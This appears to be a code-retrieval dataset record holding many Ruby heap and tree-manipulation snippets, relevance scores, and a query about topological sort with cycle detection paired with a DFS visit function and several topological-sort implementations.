"def max_heapify(arr, arr_len, parent)\n\n largest = parent # Assume the largest is the root of the subtree\n left_child = 2 * parent + 1 # left child's index\n right_child = 2 * parent + 2 # right child's index\n\n if left_child < arr_len && @data[left_child] > @data[largest] # Check bounds and if left child's index is new largest\n\n largest = left_child\n end\n\n if right_child < arr_len && @data[right_child] > @data[largest] # Check bounds and if right child's index is new largest\n\n largest = right_child\n end\n\n if largest != parent # If the largest isn't the root, then we have to swap to maintain the max heap property and re-max-heapify\n swap(arr, largest, parent) # Put the largest element which is the root at the end because it is now in the right place\n\n max_heapify(arr, arr_len, largest) # Going to have to max heapify after switching the root and last element\n end\n end",
"def bubble_down()\n\t\t# remove max and swap with last node\n\t\t@elements[0] = @elements.pop\n\t\ti = 0\n\t\twhile(i < @elements.length)\n\t\t\tmax_idx = i\n\t\t\t# find greater of left and right child\n\t\t\tif((2*i + 1) < @elements.length && @elements[2*i + 1][@orderBy] >= @elements[max_idx][@orderBy])\n\t\t\t\tmax_idx = 2*i + 1\n\t\t\tend\n\t\t\tif((2*i + 2) < @elements.length && @elements[2*i + 2][@orderBy] >= @elements[max_idx][@orderBy])\n\t\t\t\tmax_idx = 2*i + 2\n\t\t\tend\n\t\t\t# if left or right child is greater, swap and update i\n\t\t\tif(max_idx != i)\n\t\t\t\tswap(i, max_idx)\n\t\t\t\ti = max_idx\n\t\t\t# if not, we are done\n\t\t\telse\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend",
"def promote_container_children_to_current_level(parent, container)\n container.children.reverse_each {|c| parent.add_child(c) } \n parent.remove_child(container)\n end",
"def heap_down(index)\n left_index = index * 2 + 1\n right_index = index * 2 + 2\n\n if right_index < @store.length\n min_child = @store[left_index].key < @store[right_index].key ? left_index : right_index\n if @store[index].key > @store[min_child].key\n swap(index, min_child)\n heap_down(min_child)\n end\n elsif left_index < @store.length\n if @store[index].key > @store[left_index].key\n swap(index, left_index)\n end\n end\n end",
"def heapify_down(custom_start_index = 0)\n current_index = custom_start_index\n next_index = nil\n while(self.has_left_child(current_index))\n if(\n self.has_right_child(current_index) && \n self.pair_is_in_correct_order(self.get_right_child_index(current_index), self.get_left_child_index(current_index)))\n \n next_index = self.get_right_child_index(current_index)\n else\n next_index = self.get_left_child_index(current_index)\n end\n \n break if(self.pair_is_in_correct_order(current_index, next_index))\n self.swap(current_index, next_index)\n current_index = next_index\n end\n end",
"def heapify(index)\n left = @tree[left(index)]\n right = @tree[right(index)]\n current = @tree[index]\n if !left && !right # if no children exist nothing to compare with\n nil\n elsif left && !right\n if left.rating < current.rating\n temp = @tree[index]\n @tree[index] = @tree[left]\n @tree[left] = temp\n #no need to heapify at a leaf\n end\n elsif left.rating < current.rating || right.rating < current.rating\n if @tree[left].rating <= @tree[right].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[left]\n @tree[left] = temp\n heapify(left(index))\n elsif @tree[right].rating < @tree[left].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[right]\n @tree[right] = temp\n heapify(right(index))\n end\n end\n end",
"def sift_down(i)\n child = (i * 2) + 1\n return if child >= @heap.length\n child += 1 if child + 1 < @heap.length and @heap[child] > @heap[child+1]\n if @heap[i] > @heap[child]\n @heap[child], @heap[i] = @heap[i], @heap[child]\n sift_down(child)\n end\n end",
"def backpropagate(winner:)\n node = self\n node.update_stats(winner: winner) until (node = node.parent).nil?\n # alternative: tail recursion?\n # update_stats(winner: winner)\n # parent.backpropagate(winner: winner) unless parent.nil?\n end",
"def insert(data, index)\r\n\t\t#initial insertion\r\n\t\tfirstarray = @array[0..index]\r\n\t\tsecondarray = @array[index+1..@array.length]\r\n\t\t@array = firstarray + data + secondarray\r\n\t\t\r\n\t\t\r\n\t\t#is there a faster way to do this?\r\n\t\tbuildMaxHeap\r\n\t\t#if data <= @array[parent(index)]\r\n\t\t#\tmaxHeapify(index)\r\n\t\t#else\r\n\t\t#\t#it would be nice to have a function that says \"max heapify the parent if it needs it, else move upwards\" which is recursive\r\n\t\t#end\r\n\t\t\r\n\tend",
"def build_heap(array)\n first_parent_idx = (array.length - 1) / 2\n (first_parent_idx).downto(0).each { |current_idx| \n self.sift_down(current_idx, array.length - 1, array)\n }\n return array\n end",
"def build_heap(array)\n first_parent_index = (array.length - 2) / 2\n (first_parent_index..0).each do |current_index|\n sift_down(current_index, array.length - 1, array)\n end\n end",
"def heap_down(sub_root, last_pos, list)\n max_child = max_child(right_child(sub_root, last_pos), left_child(sub_root, last_pos), list)\n while max_child && list[max_child] > list[sub_root]\n swap(sub_root, max_child, list)\n sub_root = max_child\n max_child = max_child(right_child(sub_root, last_pos), left_child(sub_root, last_pos), list)\n end\nend",
"def greater_parent(parent, value)\n if parent.value > value\n return parent\n else\n if parent.parent.nil?\n return nil\n else\n greater_parent(parent.parent, value)\n end\n end\nend",
"def heapify!(array)\n @data = array\n (0..(@data.size / 2 - 1)).to_a.reverse.each { |i| percolate_down i }\n return self\n end",
"def adjusted_down(adjusted_array, parent, limit)\n top = adjusted_array[parent]\n while (child = 2 * parent) <= limit\n child += 1 if (child < limit) && (adjusted_array[child] < adjusted_array[child + 1])\n break if top >= adjusted_array[child]\n\n adjusted_array[parent] = adjusted_array[child]\n parent = child\n end\n adjusted_array[parent] = top\nend",
"def heap_down(index=0)\n return if @store.empty?\n\n while ((2 * index) + 1) < @store.length # so long as we have a left child, continue to swap\n rightIndex = (2 * index) + 2\n leftIndex = (2 * index) + 1\n smallerIndex = leftIndex\n if (rightIndex < @store.length) && (@store[rightIndex].key < @store[leftIndex].key)\n smallerIndex = rightIndex\n end\n\n if @store[index].key < @store[smallerIndex].key\n break\n else\n swap(index, smallerIndex)\n end\n index = smallerIndex\n end\n end",
"def heapify(i)\n left = left(i)\n right = right(i)\n target = i\n if left < @elements.size and @comparator.call(@elements[i],@elements[left]) < 0\n target = left\n end\n if right < @elements.size and @comparator.call(@elements[target],@elements[right]) < 0\n target = right\n end\n\n unless target == i\n swap(target,i)\n heapify(target)\n end\n end",
"def promote_node_two_children(parent_node,target_node, max_left_sub_tree, max_left_sub_tree_parent_node)\n\n if parent_node.value <= max_left_sub_tree.value\n parent_node.right = max_left_sub_tree\n promote_node(max_left_sub_tree_parent_node, max_left_sub_tree.left)\n\n\n max_left_sub_tree.left = target_node.left if !target_node.left.nil?\n\n max_left_sub_tree.right = target_node.right if !target_node.right.nil?\n\n\n\n\n\n\n else\n parent_node.left = max_left_sub_tree\n promote_node(max_left_sub_tree_parent_node, max_left_sub_tree.left)\n\n\n max_left_sub_tree.left = target_node.left if !target_node.left.nil?\n\n max_left_sub_tree.right = target_node.right if !target_node.right.nil?\n\n\n end\n\n end",
"def percolate_up(idx = @data.size - 1)\n return self if idx == 0\n parent = (idx - 1) / 2\n if @data[idx] < @data[parent]\n temp = @data[idx]\n @data[idx] = @data[parent]\n @data[parent] = temp\n return percolate_up(parent)\n end\n return self\n end",
"def cut(heap, node, parent)\n if node.l\n node.l.r = node.r ? node.r : nil\n end\n\n if node.r\n node.r.l = node.l ? node.l : nil\n end\n \n # if parent marked, set parent's child to nil, otherwise set it to left or right children in precednce if exist.\n if !parent.mark && parent.child == node\n new_child = node.l || node.r\n parent.child = new_child && new_child.parent == parent ? new_child : nil\n end\n parent.child = nil if parent.mark\n\n parent.degree -= 1\n node.parent, node.mark = nil, false\n\n root_parent = parent\n root_parent = root_parent.parent while root_parent.parent\n node.l, node.r = root_parent.l, root_parent\n root_parent.l.r = node if root_parent.l\n root_parent.l = node\n @root_head = node if @root_head == root_parent\n end",
"def heap_down(index)\n until (index * 2 + 1) > @store.length - 1\n left = index * 2 + 1\n right = index * 2 + 2\n if right > @store.length - 1\n child = left\n else\n child = @store[left].key < @store[right].key ? left : right\n end\n @store[index].key > @store[child].key ? swap(index, child) : return\n end\n return\n end",
"def bubble_down(index)\n left = index*2+1 #left child\n right = index*2+2 #right child\n\n smaller_child_index = pick_smaller(left, right)\n\n while (smaller_child_index!=nil && @ary[smaller_child_index].key < @ary[index].key)\n\n @ary[index], @ary[smaller_child_index] = @ary[smaller_child_index], @ary[index] #swap\n\n index = smaller_child_index\n left = index*2+1 #left child\n right = index*2+2 #right child\n smaller_child_index = pick_smaller(left, right)\n\n end\n end",
"def up_child\n # Returns up_child unless it's nil\n return @up_child unless @up_child.nil?\n\n # If passed the guard, up_child was not calculated yet, so generates it,\n # stores a ref and return the node\n @up_child = calculate_up_child\n @up_child\n end",
"def parent(child)\n return (child - 1) / 2\nend",
"def heap_down(index)\n left_index = 2 * index + 1\n right_index = 2 * index + 2\n\n return if left_index > @store.length - 1 || right_index > @store.length - 1\n\n child_index = (@store[left_index].key < @store[right_index].key ? left_index : right_index)\n\n unless @store[index].key < @store[child_index].key\n swap(child_index, index)\n\n heap_down(child_index)\n end\n end",
"def bubble_down(i)\n while true\n child1 = (i+1) * 2 - 1\n child2 = (i+1) * 2\n if child1 >= size then return\n elsif child2 >= size then\n if @contents[i].key >= @contents[child1].key then\n @contents[i],@contents[child1] = @contents[child1],@contents[i]\n return\n else return\n end\n else min = if @contents[child1].key <= @contents[child2].key\n then child1 else child2\n end\n if @contents[i].key > @contents[min].key\n @contents[i],@contents[min] = @contents[min],@contents[i]\n i = min\n else return\n end\n end\n end\n end",
"def min_bubble(index)\n return nil if index == 0\n parent = (index-1)/2\n if @tree[index].rating < @tree[parent].rating\n temp = @tree[index]\n @tree[index] = @tree[parent]\n @tree[parent] = temp\n min_bubble(parent)\n end\n end",
"def filter_up(element)\n element_index = @tree.index(element)\n parent = element_index / 2\n element_is_greater_than_child = @tree[parent] && @tree[parent].rating > element.rating\n while element_is_greater_than_child\n swap_node_position(@tree[parent], element)\n parent = element_index / 2\n element_is_greater_than_child = @tree[parent] && @tree[parent].rating > element.rating\n end\n end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def merge\n # we merge only if out-degree(self) = 1 and out-degree(child) = 1\n while children.size == 1 && children[0].parents.size == 1\n c = children[0]\n c.children.each do |cc|\n cc.parents.reject! {|c2| c2.equal?(c) }\n cc.parents << self\n end\n\n # inherit the type and weight of the child\n self.children = c.children\n self.type = c.type\n self.weight += c.weight\n\n # remove the child from the DAG\n c.merged = true\n c.children = []\n end\n end",
"def deepest_child(cause, rank = T.unsafe(nil)); end",
"def trace\n this_node = [self.value]\n return this_node if self.parent.nil?\n self.parent.trace + this_node\n # self.parent ? self.parent.trace + [self.value] : [self.value]\n end",
"def sink index\n loop do\n # define all other relevant index values\n last_item_index = size - 1\n l_child = 2 * index + 1\n r_child = 2 * index + 2\n # default to L in case of tie\n smaller_child = l_child\n # set smaller_child to right_child if that is a valid index and it is less than the left\n smaller_child = r_child if (r_child < last_item_index && less_than?(r_child, l_child))\n # if we are outside the bounds of our tree\n # or if we cannot sink item at `index` anymore\n break if (l_child >= last_item_index || less_than?(index, smaller_child))\n # otherwise, swap the values, \"bubbling\" the item down\n swap_values_at(smaller_child, index)\n # set the new index to the positions we've just moved to\n index = smaller_child\n end\n end",
"def children=(_arg0); end",
"def children=(_arg0); end",
"def sift_down(current_index, end_index, heap)\n child_one_index = current_index * 2 + 1\n while child_one_index <= end_index\n child_two_index = current_index * 2 + 1 if current_index * 2 + 2 <= end_index\n if child_two_index != -1 && heap[child_two_index] < heap[child_one_index]\n index_to_swap = child_two_index\n else\n index_to_swap = child_one_index\n end\n if heap[index_to_swap] < heap[current_index]\n swap(current_index, index_to_swap, heap)\n current_index = index_to_swap\n child_one_index = current_index * 2 + 1\n else\n break\n end\n end\n end",
"def trace_up(stack = [])\n stack << self\n return previous_in_chain.trace_up(stack) if previous_in_chain.present?\n stack.reverse # Reversing because the top most one will be at the end.\n end",
"def initialize(*args, &block)\n @relation = if block_given?\n block\n else\n -> (parent, child) { parent >= child }\n end\n @store = HeapStore.new(*args)\n heapify!\n end",
"def move_down\n # Ensure each parent node to this node (the goal here is to hit a question node) is valid\n !survey.node_maps.select do |i|\n i.node == self\n end.collect do |node_map|\n # Must have children to move lower!\n # And the children are also answers!\n next unless !node_map.children.empty? && !node_map.children.select { |j| j.node.class.ancestors.include?(::ActiveRecordSurvey::Node::Answer) }.empty?\n\n # I know this looks overly complicated, but we need to always work with the survey.node_maps - never children/parent of the relation\n parent_node = survey.node_maps.select do |j|\n node_map.parent == j\n end.first\n\n children = survey.node_maps.select do |j|\n node_map.children.include?(j)\n end\n\n children_children = survey.node_maps.select do |j|\n children.collect(&:children).flatten.include?(j)\n end\n\n children.each do |c|\n parent_node.children << c\n end\n\n children.each do |c|\n c.children << node_map\n end\n\n children_children.each do |i|\n node_map.children << i\n end\n end\n end",
"def sift_down(current_idx, end_idx, heap)\n child_one_idx = current_idx * 2 + 1\n while child_one_idx <= end_idx\n child_two_idx = -1\n if (current_idx * 2 + 2) <= end_idx\n child_two_idx = current_idx * 2 + 2\n end\n\n if child_two_idx != -1 && heap[child_two_idx] < heap[child_one_idx]\n idx_to_swap = child_two_idx\n else\n idx_to_swap = child_one_idx\n end\n\n if heap[idx_to_swap] < heap[current_idx]\n self.swap(current_idx, idx_to_swap, heap)\n current_idx = idx_to_swap\n child_one_idx = current_idx * 2 + 1\n else\n break\n end\n end\n \n end",
"def question_one\n stack = Stack.new\n stack.push(3)\n stack.push(5)\n stack.push(2)\n stack.push(4)\n stack.push(1)\n stack.pop\n stack.pop\n stack.pop\n stack.min\nend",
"def add_children(anEnumerable, theBacklog)\n anEnumerable.reverse_each do |elem|\n theBacklog.unshift(elem)\n end\n end"
] |
[
"0.6906113",
"0.68568057",
"0.6649417",
"0.65117496",
"0.64866954",
"0.64651227",
"0.64370656",
"0.6383037",
"0.63221794",
"0.62376314",
"0.6236717",
"0.62291586",
"0.6184827",
"0.6110269",
"0.60967284",
"0.6089074",
"0.6060234",
"0.60569954",
"0.60406417",
"0.60253",
"0.5999202",
"0.59793836",
"0.5970218",
"0.597012",
"0.5969867",
"0.5938579",
"0.5936948",
"0.5933161",
"0.5915444",
"0.5882242",
"0.5871609",
"0.585368",
"0.5782421",
"0.5751168",
"0.5751076",
"0.5749172",
"0.5741079",
"0.57377774",
"0.56969714",
"0.5670409",
"0.56694293",
"0.5662853",
"0.565643",
"0.5651006",
"0.561667",
"0.5606987",
"0.5599198",
"0.557799",
"0.5571301",
"0.5552854",
"0.5533324",
"0.55141836",
"0.5512509",
"0.5473867",
"0.54660326",
"0.5461378",
"0.54555047",
"0.54231995",
"0.542107",
"0.5405332",
"0.537881",
"0.53763574",
"0.53710055",
"0.53690106",
"0.5357544",
"0.5349233",
"0.5348113",
"0.5345169",
"0.5329221",
"0.5328505",
"0.5313036",
"0.5293575",
"0.5283351",
"0.5267125",
"0.5244782",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.5241988",
"0.52338815",
"0.52296793",
"0.5228214",
"0.52002114",
"0.5184112",
"0.5184112",
"0.5178556",
"0.517826",
"0.5177994",
"0.5167977",
"0.51480836",
"0.51422524",
"0.51326436"
] |
0.5815371
|
32
|
topological sort with detection
|
def visit(graph, node, deps, visited, &block)
v = visited[node]
if v == :just
return true
elsif v == :once
return false
else
visited[node] = :just
deps.each do |dep|
if visit(graph, dep, graph[dep], visited, &block)
return true
end
end
visited[node] = :once
block.call(node)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def topological_sort\n\t\tcount = size\n\t\t@explored_nodes = Array.new(count, false)\n\t\t@current_label = count\n\t\t@topological_order = Array.new(count, nil)\n\t\tcount.times do |label|\n\t\t\tdfs_topological_order(label) unless @explored_nodes[label]\n\t\tend\n\t\ttopological_order\n\tend",
"def topological_sort()\n TopologicalSort.new().topological_sort()\n end",
"def topological_sort(vertices)\n \nend",
"def topological_sort(vertices)\n # kahn_sort(vertices)\n tarjan_sort(vertices)\nend",
"def topological_sort()\n VERT_MAP.each_key do |key|\n depth_first_traversal(key)\n end\n @sorted_verts.reverse!\n end",
"def topological_sort\n result_size = 0\n result = Array.new(@vertices.length)\n visited = Set.new\n\n visit = lambda { |v|\n return if visited.include? v\n v.successors.each do |u|\n visit.call u\n end\n visited.add v\n result_size += 1\n result[-result_size] = v\n }\n\n @vertices.each do |v|\n next if visited.include? v\n visit.call v\n end\n\n result\n end",
"def sort(array_of_nodes, order); end",
"def topological_sort(vertices)\n order = []\n explored = Set.new \n\n vertices.each do |vertex|\n dfs!(order, explored, vertex) unless explored.include?(vertex)\n end \n\n order \n\nend",
"def topology_sort\n topology = []\n permanently_visited = Set.new\n temporary_visited = []\n loop do\n next_task = each_task.find do |task|\n not (permanently_visited.include? task or temporary_visited.include? task)\n end\n return topology unless next_task\n visit(next_task, permanently_visited, temporary_visited).each do |task|\n topology.insert 0, task\n end\n end\n topology\n end",
"def topological_sort(entry, graph_trait = nil)\n topo = []\n worklist = WorkList.new([entry])\n vpcount = Hash.new(0)\n worklist.process { |node|\n topo.push(node)\n succs = graph_trait ? graph_trait.successors(node) : node.successors\n succs.each { |succ|\n vc = (vpcount[succ] += 1)\n preds = graph_trait ? graph_trait.predecessors(succ) : succ.predecessors\n if vc == preds.length\n vpcount.delete(succ)\n worklist.enqueue(succ)\n end\n }\n }\n assert(\"topological_order: not all nodes marked\") { vpcount.empty? }\n topo\n end",
"def tarian_topological_sort(vertices)\n sorted = []\n visited = Set.new\n\n vertices.each do |vertex|\n dfs!(vertex, visited, sorted) unless visited.include?(vertex)\n end\n\n sorted\nend",
"def topological_sort(vertices)\n order = []\n explored = Set.new\n\n vertices.each do |vertex|\n dfs!(order, explored, vertex) unless explored.include?(vertex)\n end\n\n order\nend",
"def dfs_topological_sort\n # sorted by finished time reversely and collect node names only\n timestamp, = self.depth_first_search\n timestamp.sort {|a,b| b[1][1] <=> a[1][1]}.collect {|x| x.first }\n end",
"def topo_sort(dependencies) # tarjan's algorithm\n dependencies.default = [] # no need for #default_proc because array never gets mutated\n seen = {}\n ordering = []\n dependencies.keys.each do |vertex|\n resolve!(vertex, dependencies, ordering, seen) unless seen[vertex]\n end\n ordering\nend",
"def topological_sort(vertices)\n visited = vertices.map { |v| [v, false] }.to_h\n result = []\n visited.each do |vertex, status|\n begin\n visit(vertex, visited, result) unless status\n rescue\n result = []\n break\n end\n end\n result\nend",
"def topological_sort(vertices)\n return []\nend",
"def k_topological_sort(vertices)\n topological_order = []\n\n degrees = {}\n #count the number of in edges for each vertex O(|V|)\n vertices.each { |vertex| degrees[vertex] = vertex.in_edges.length }\n\n #Select those with no in edges\n queue = degrees.select { |vertex, length| length == 0 }.keys\n\n until queue.empty?\n topological_order.push(queue.pop)\n\n #for each out edge, decrement the to vertexes incoming\n #edge count by one\n vertex.out_edges.each do |edge|\n degrees[edge.to_vertex] -= 1\n\n #If there are no more in edges, add it to the queue!\n if degrees[edge.to_vertex] == 0\n queue.unshift(edge.to_vertex)\n end\n end\n end\n #When there is a cycle, the queue will be empty before each node will\n #have been checked; therefore the results array will equal\n #the vertex array iff there is a topological ordering.\n if topological_order.length == vertices.length\n topological_order\n else\n []\n end\n end",
"def topo_sort_it(graph)\n discovered = {}\n sorted_list = []\n stack = []\n\n graph.keys.each do |vtx|\n next if discovered[vtx]\n\n stack << [vtx, 0]\n discovered[vtx] = true\n\n while stack != []\n # p stack\n\n top_vtx = stack[-1][0]\n pos = stack[-1][1]\n next_vtx = graph[top_vtx][pos]\n\n if next_vtx\n stack[-1][1] += 1\n stack.push([next_vtx, 0]) unless discovered[next_vtx]\n discovered[next_vtx] = true\n else\n sorted_list << stack.pop.first\n end\n\n end\n end\n\n sorted_list.reverse\nend",
"def topological_sort(vertices)\n # visited = Set.new\n # # visited = Array.new(vertices.length, false)\n # cycle = [false]\n # result = []\n #\n # vertices.each do |vertex|\n # unless visited.include?(vertex)\n # visit(vertex, visited, result, cycle)\n # end\n # end\n #\n # if cycle == [true]\n # return []\n # else\n # return result\n # end\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n queue = []\n result = []\n vertices.each do |vert|\n queue << vert if vert.in_edges.empty?\n end\n # byebug\n count = 0\n until queue.empty?\n vertex = queue.pop\n result << vertex\n to_destroy = []\n for i in (0..(vertex.out_edges.length - 1))\n edge = vertex.out_edges[i]\n if edge.to_vertex.in_edges.length == 1\n queue.push(edge.to_vertex)\n end\n to_destroy << edge\n i += 1\n end\n to_destroy.each do |edge|\n edge.destroy!\n end\n count += 1\n end\n result\nend",
"def topological_sort(vertices)\n order = []\n explored = Set.new\n temp = Set.new\n cycle = false\n vertices.each do |vertex|\n cycle = dfs!(order,explored,vertex,temp,cycle) unless explored.include?(vertex)\n return [] if cycle\n end\n order\nend",
"def topological_sort(vertices)\n in_edges = {}\n result = []\n queue = vertices.select do |vertex|\n in_edges[vertex] = vertex.in_edges.length\n vertex.in_edges.empty?\n end\n\n until queue.empty?\n vertex = queue.pop\n result.push(vertex)\n vertex.out_edges.map(&:to_vertex).each do |vertex|\n in_edges[vertex] -= 1\n queue.unshift(vertex) if in_edges[vertex] == 0\n end\n end\n in_edges.all?{|vertex,count| count == 0} ? result : []\n\nend",
"def sort\n # Find a cycle in the move graph and pick a register to spill to break it.\n spillee = nil\n each_strongly_connected_component do |component|\n if component.size > 1\n fail if spillee # There is one cycle with 3 registers.\n spillee = component.first.src\n end\n end\n\n # Break the cycle.\n spill(spillee) if spillee\n\n tsort\n end",
"def topological_sort(vertices)\n order = []\n explored = Set.new\n temp = Set.new\n cycle = false\n\n vertices.each do |vertex|\n cycle = dfs!(order, explored, vertex) unless explored.include?(vertex)\n return [] if cycle\n end\n\n order\nend",
"def topological_sort(vertices) # array => # layers of unordered sets (could implement these as subarrays)\n # Kahn's alg. #Coffman-Graham gives deterministic sorting\n #look for vertices w/o @in_edges; add to list\n #look for vertices w/o @in_edges (exclude @in_edges in list)\n #repeat until all vertices in the list\n\n #w/o queue\n list = []\n\n until list.length == vertices.length\n changed = false\n vertices.each do |vertex|\n if !list.include?(vertex) && ( vertex.in_edges.length == 0 ||\n vertex.in_edges.all?{|edge| list.include?(edge.from_vertex)} )\n list.push(vertex)\n changed = true\n end\n end\n\n return [] if !changed\n end\n\n list\n\n # #w/ queue (could also implement by enqueueing out-edges' to-vertices\n # for each node added to list, replacing queue.each w/ until queue.empty?)\n # list = []\n # queue = []\n #\n # full = vertices.length\n #\n # until list.length == full\n # changed = false\n # vertices.each do |vertex|\n # if vertex.in_edges.length == 0 && !list.include?(vertex)\n # queue.push(vertex)\n # end\n # end\n #\n # queue.each do |vertex|\n # vertex.out_edges.each {|edge| edge.destroy!} #causes spec's test to malfunction\n # list.push(queue.shift)\n # changed = true\n # end\n #\n # return [] if !changed\n # end\nend",
"def topological_sort(vertices)\n # Khan's algorithm\n sorted_arr = []\n queue = Queue.new\n # in_edges = {}\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n queue.enq(vertex)\n end\n end\n\n # vertices.each do |vertex|\n # in_edge_cost = vertex.in_edges.reduce(0) { |sum, edge| sum += edge.cost }\n # in_edges[vertex] = in_edge_cost\n # queue << vertex if in_edge_cost == 0\n # end\n\n until queue.empty?\n u = queue.deq\n sorted_arr << u\n while u.out_edges.length != 0\n current_edge = u.out_edges[0]\n queue.enq(current_edge.to_vertex) if current_edge.to_vertex.in_edges == [current_edge]\n current_edge.destroy!\n end\n u.out_edges = []\n end\n\n # until queue.empty?\n # current = queue.shift\n #\n # current.out_edges.each do |edge|\n # to_vertex = edge.to_vertex\n # in_edges[to_vertex] -= edge.cost\n # queue << to_vertex if in_edges[to_vertex] == 0\n # end\n #\n # sorted arr << current\n # end\n\n if sorted_arr.length != vertices.length\n return []\n # vertices.length == order.length ? order : []\n end\n\n sorted_arr\n\n # Tarjan's algorithm (without cyce catching)\n # order = []\n # explored = Set.new\n #\n # vertices.each do |vertex|\n # dfs!(order, explored, vertex) unless explored.include?(vertex) #depth-first search\n # end\n #\n # order\n\nend",
"def topological_sort(vertices)\n sorted = []\n top = []\n\n vertices.each do |vertx|\n if vertx.in_edges.empty?\n top << vertx\n end\n end\n\n until top.empty?\n current = top.pop\n sorted << current\n\n edges = current.out_edges.dup\n\n edges.each do |edge|\n\n destination = edge.to_vertex\n\n edge.destroy!\n\n if destination.in_edges.empty?\n top << destination\n end\n\n end\n\n end\n return sorted if sorted.length == vertices.length\n []\nend",
"def topological_sort(vertices)\n edge_count = {}\n sorted = []\n queue = []\n vertices.each do |vertex|\n edge_count[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n until queue.empty?\n current = queue.shift\n sorted << current\n current.out_edges.each do |edge|\n destination = edge.to_vertex\n edge_count[destination] -= 1\n queue << destination if edge_count[destination] == 0\n end\n\n end\n sorted\nend",
"def topological_sort(vertices)\n in_edge_count = {}\n list = []\n queue = []\n vertices.each do |vertex|\n in_edge_count[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n until queue.empty?\n u = queue.shift\n list << u\n u.out_edges.each do |vertex|\n to_vertex = vertex.to_vertex\n in_edge_count[to_vertex] -= 1\n queue << to_vertex if in_edge_count[to_vertex] == 0\n end\n end\n list\nend",
"def ordered_topologically\n FolderSort.new(self)\n end",
"def topological_sort(vertices)\n in_edge_counts = {}\n sorted = []\n queue = []\n\n vertices.each do |vertex|\n in_edge_counts[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n\n until queue.empty?\n current = queue.shift\n sorted << current\n\n current.out_edges.each do |edge|\n in_edge_counts[edge.to_vertex] -= 1\n queue << edge.to_vertex if in_edge_counts[edge.to_vertex] == 0\n end\n\n end\n\n sorted.length == 2 ? [] : sorted\nend",
"def install_order(arr)\n vertices = {}\n max = 0 \n arr.each do |tuple|\n vertices[tuple[0]] = Vertex.new(tuple[0]) unless verticles[tuple[0]]\n vertices[tuple[1]] = Vertex.new(tuple[1]) unless verticles[tuple[1]]\n # create an edge for each pair \n\n Edge.new(vertices[tuple[1]], vertices[tuple[0]])\n\n max = tuple.max if tuple.max > max \n end \n\n independent = []\n (1..max).each do |i| \n independent << i unless vertices[i]\n end \n\n independent + topological_sort(vertices.values).map { |v| v.value }\nend",
"def topsort\n graph = RGL::DirectedAdjacencyGraph.new\n # init vertices\n items = @normal_sources\n items.each {|item| graph.add_vertex(item) }\n # init edges\n items.each do |item|\n item.dependencies.each do |dependency|\n # If we can find items that provide the required dependency...\n # (dependency could be a wildcard as well, hence items)\n dependency_cache[dependency] ||= provides_tree.glob(dependency)\n # ... we draw an edge from every required item to the dependant item\n dependency_cache[dependency].each do |required_item|\n graph.add_edge(required_item, item)\n end\n end\n end\n\n begin\n graph.topsorted_vertices\n rescue RGL::TopsortedGraphHasCycles => e\n output_cycles(graph)\n raise e # fail fast\n end\n end",
"def topological_sort(vertices)\n arr = []\n next_v = []\n \n vertices.each do |v|\n if v.in_edges.empty?\n next_v.push(v) \n end \n end\n while next_v.length > 0\n current = next_v.shift\n arr.push(current)\n \n while current.out_edges.length > 0\n edge = current.out_edges.pop\n if edge.to_vertex.in_edges.length == 1\n next_v.push(edge.to_vertex) \n end \n edge.destroy!\n end\n end\n \n arr.length == vertices.length ? arr : []\n end",
"def topological_sort(vertices)\n out_queue = []\n sorted = []\n sorted_hash = {}\n\n until sorted.length == vertices.length \n out_queue = vertices.select do |v| \n v.in_edges.empty? && !sorted_hash.include?(v.value)\n end\n # Break if Cyclic/Disconnected Graph\n return [] if out_queue.empty?\n\n until out_queue.empty?\n vertice = out_queue.shift\n sorted << vertice\n sorted_hash[vertice.value] = true\n vertice.out_edges[0].destroy! until vertice.out_edges.empty?\n end\n end\n\n sorted\nend",
"def topological_sort(vertices)\n sorted = []\n top = []\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n top << vertex\n end\n end\n\n until top.empty?\n vertex = top.shift\n sorted << vertex\n neighbors = vertex.out_edges.map(&:to_vertex)\n\n vertex.disconnect!\n\n neighbors.each do |neighbor|\n if neighbor.in_edges.empty?\n top << neighbor\n end\n end\n end\n\n return sorted if sorted.length == vertices.length\n\n []\nend",
"def topological_sort(vertices)\n result = []\n queue = []\n visited_nodes = 0\n remaining_vert = vertices.dup\n while result.length < vertices.length\n # print 'hey'\n # print remaining_vert.map{|vert| vert.in_edges.length}\n # print remaining_vert.map{|vert| vert.value}\n remaining_vert.each do |vert|\n if vert.in_edges.length == 0\n queue.push(vert)\n new_vert = []\n remaining_vert.each do |vert2|\n new_vert.push(vert2) unless vert2 == vert\n end\n remaining_vert = new_vert\n end\n end\n # print 'hi'\n # print queue.map{|queue| queue.out_edges.length}\n return [] if remaining_vert.length>0 && queue.length == 0\n next_vert = queue.shift()\n next_vert.out_edges.each do |edge|\n edge.destroy!\n end\n result.push(next_vert)\n # print result.map{|queue| queue.out_edges.length}\n visited_nodes+=1\n end\n result\nend",
"def topological_sort(vertices)\n queue = []\n result = []\n count = {}\n vertices.each do |vertex|\n count[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n until queue.empty?\n vertex = queue.shift\n result << vertex\n vertex.out_edges.each do |edge|\n to = edge.to_vertex\n count[to] -= 1\n queue << to if count[to] == 0\n end\n end\n if count.values.reduce(:+).zero?\n result\n else\n []\n end\nend",
